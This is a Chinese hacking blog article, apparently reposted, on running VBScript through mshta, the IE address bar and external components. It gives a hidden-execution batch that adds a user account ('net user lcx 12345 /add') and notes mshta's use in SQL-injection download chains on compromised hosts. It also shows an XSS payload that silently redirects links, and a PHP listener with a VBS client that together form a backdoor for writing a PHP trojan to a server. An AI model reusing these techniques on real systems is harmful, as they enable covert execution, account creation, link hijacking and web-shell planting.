vbs怎么在网页运行

vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的,这个组件在 xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码:●CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"●,保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题,不保存成vbs或vbe后缀如何运行vbs代码。

一、用mshta来运行vbs
hta这种类型的文件运行后也是系统权限,其调用宿主就是mshta.exe。我们在cmd下运行这样一行代码:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也会听到同样的发音。这行代码的意思类似是临时生成一个hta文件,然后运行里边的vbs代码,再调用 window.close将运行窗口关掉。整个运行过程是看不到hta窗口的。这种运行方式你会想到什么?最少我是想到了两个。一个是批处理的隐藏运行,基本代码如下:

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
rem 下边开始写批处代码了
net user lcx 12345 /add

这个代码只能双击运行,运行过程中你看不到具体的批处理运行流程的。第二个我想的是注射过程中的用途。网上有篇流传很广的文章《mssql注射中多次调用参数导致多次echo的解决方法》,中心思想是将vbs语句用冒号连接起来然后用echo命令一次写入到被注入的肉鸡上,然后再调用这个vbs来下载文件。如果调用mshta执行的话,下载、执行一次就ok了。不过在命令行下用mshta后边直接跟vbs代码有个难处理的问题是空格,不过这个好解决用 execute将vbs代码放在括号里就ok了,这个读者可以亲自去试一下了,相信我不难的。

二、用ie地址栏运行vbs
很多人会用ie地址栏运行js,其实vbs一样是可以的,我们随便打开一个网站,在地址栏上输入:vbscript:msgbox (Document.links.length)后回车,就会看到当前页面有多少个连接了。用document.links(i).href这句的话,将 i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。这部份内容其实是涉及到dhtml的内容了。我们来看一个最简单的示例代码:

<a href=http://www.sohu.com>www.sohu.com</a>
<a href=http://www.baidu.com>www.baidu.com</a>

这是两个链接,保存成网页后点击就会跳转到不同的页面。如果这个页面有跨站,我想搞下破坏,让用户点击www.sohu.com却跑到我指定的页面上能做到吗?其实可以的,只要加一行语句就可以了,代码是:●<body onload=vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"> ●。这样的话用户再点击sohu其实会跑到google上去了,原来页面的版式却丝毫没有破坏。同样的dhtml元素还有document.links (i).href、document.images(i).src、document.forms(i).action等等,跨站改变其动态元素是很好玩的。

三、调用外部组件来运行vbs
vbs本身功能毕竟有限,但是却可以很好的与外部交互。要是用vbs来模拟nc发包的话,就要调用vb组件了。关于VBS如何成功调用 MSWinsock.Winsock,zzzevazzz说的很清楚了。就是下载Winsock.ocs注册,和VB6控件的授权密钥的.reg导入注册表。两个文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar这里下载。前不久学了一段时间php,网上看到一个php的监听程序,可以用它来做一个后门,s端s.php代码如下:

<?
// 设置一些基本的变量
$host = "192.168.8.100";
$port = 12345;
// 设置超时时间
set_time_limit(0);
// 创建一个Socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket ");
//绑定Socket到端口
$result = socket_bind($socket, $host, $port) or die("Could not bind to
socket ");
// 开始监听链接
$result = socket_listen($socket, 3) or die("Could not set up socket
listener ");
// accept incoming connections
// 另一个Socket来处理通信
$spawn = socket_accept($socket) or die("Could not accept incoming
connection ");
// 获得客户端的输入
$input = socket_read($spawn, 1024) or die("Could not read input ");
// 清空输入字符串
$input = trim($input);//将输入结果写入ok.php,这句是我加的
fputs(fopen(ok.php,a+),"$input");

//处理客户端输入并返回结果
$output = strrev($input) . " ";
socket_write($spawn, $output, strlen ($output)) or die("Could not write
output ");
// 关闭sockets
socket_close($spawn);
socket_close($socket);
?>

在ie打开这个php,运行它的服务器会监听12345端口。如果我们再用vbs向12345端口发包的话,在同文件的php目录下会生成ok.php。发包的内容就是我们要写入ok.php的代码。该vbs文件c.vbs代码如下:

Set ie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate "http://192.168.8.100/s.php" s.php是服务端
While ie.Busy
WScript.Sleep 100
Wend

Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4

Set socket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345" 端口
socket.RemoteHost="192.168.8.100" 主机
socket.connect socket.RemoteHost, socket.RemotePort 连接
WScript.sleep 10
ddd="<?phpinfo();>"&Chr(13) 这里你可以改成一句话的php木马
socket.SendData ddd
WScript.sleep 100
wscript.echo "ok"
socket.senddata Chr(13)
socket.close

Set ie=nothing

一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路

(0)

相关推荐

  • 取消IE 已限制此网页运行可以访问计算机的脚本

    方法一: 在本地调试html页,如果其中包含js或flash,IE经常会提示“IE已限制此网页运行可以访问计算机的脚本或ActiveX控件”。虽然IE出于安全考虑阻止本地脚本运行这个做法没错,但作为程 ...

  • 取消IE"已限制此网页运行可以访问计算机的脚本" 1

    为了有利于保护安全性,IE已限制此网页运行可以访问计算机的脚本或 ActiveX 控件。请单击这里获取选项... 方法一: 在本地调试html页,如果其中包含js或flash,IE经常会提示“IE已限 ...

  • 如何禁止指定程序或网页运行

    如何禁止指定程序或网页运行 操作方法 01 禁止指定程序运行 找到要封禁的程序的名字,比如qq.exe开始-运行-输入regedit (或者win+R,输入regedit),打开注册表找到HKEY_L ...

  • 解决php网页运行超时问题:Maximum execution time of 30 seconds exceeded

    今天在测试程序的时候,出现如下错误提示: Fatal error: Maximum execution time of 30 seconds exceeded in C:Inetpubwwwrootr ...

  • 如何在win7旗舰版电脑中加速网页运行

    如何在win7旗舰版电脑中加速网页运行

  • 一招儿使你的Windows 8/RT关机更加便捷(vbs)

    如果你是一位Windows 8用户,那么你会如何来关闭或重新启动你的设备呢?相信很多人都是按照先通过Win+C快捷键呼出Charms边栏,然后再依次点击“设定”和“电源”按钮的方法来实现关机操作。 不 ...

  • 如何把txt转换成vbs

    如何把txt转换成vbs?很多小伙伴刚接触vbs时,常常在用记事本编写vbs脚本后进行保存时,无法正确将文件保存为vbs,而是保存为了txt文件.怎么办?下面,小编为大家介绍一下 如何把txt转换成v ...

  • Win7系统浏览器阻止Activex控件运行怎么办

    在使用Win7电脑浏览网页的时候,进入到很多需要运行Activex控件的网站都会出现提示"已限制网页运行Activex控件",虽然说浏览器的这个行为是为了安全考虑,一些正常的插件也 ...

  • VBS小程序-弹窗整人(代码+解析)

    VBS可以用来编写一些整人的小程序,那么如何编写呢?下面小编就给大家分享一下. 操作方法 01 我们首先在桌面上创建一个VBS的文件,如下图所示,注意VBS文件双击的话是直接运行的 02 然后我们用S ...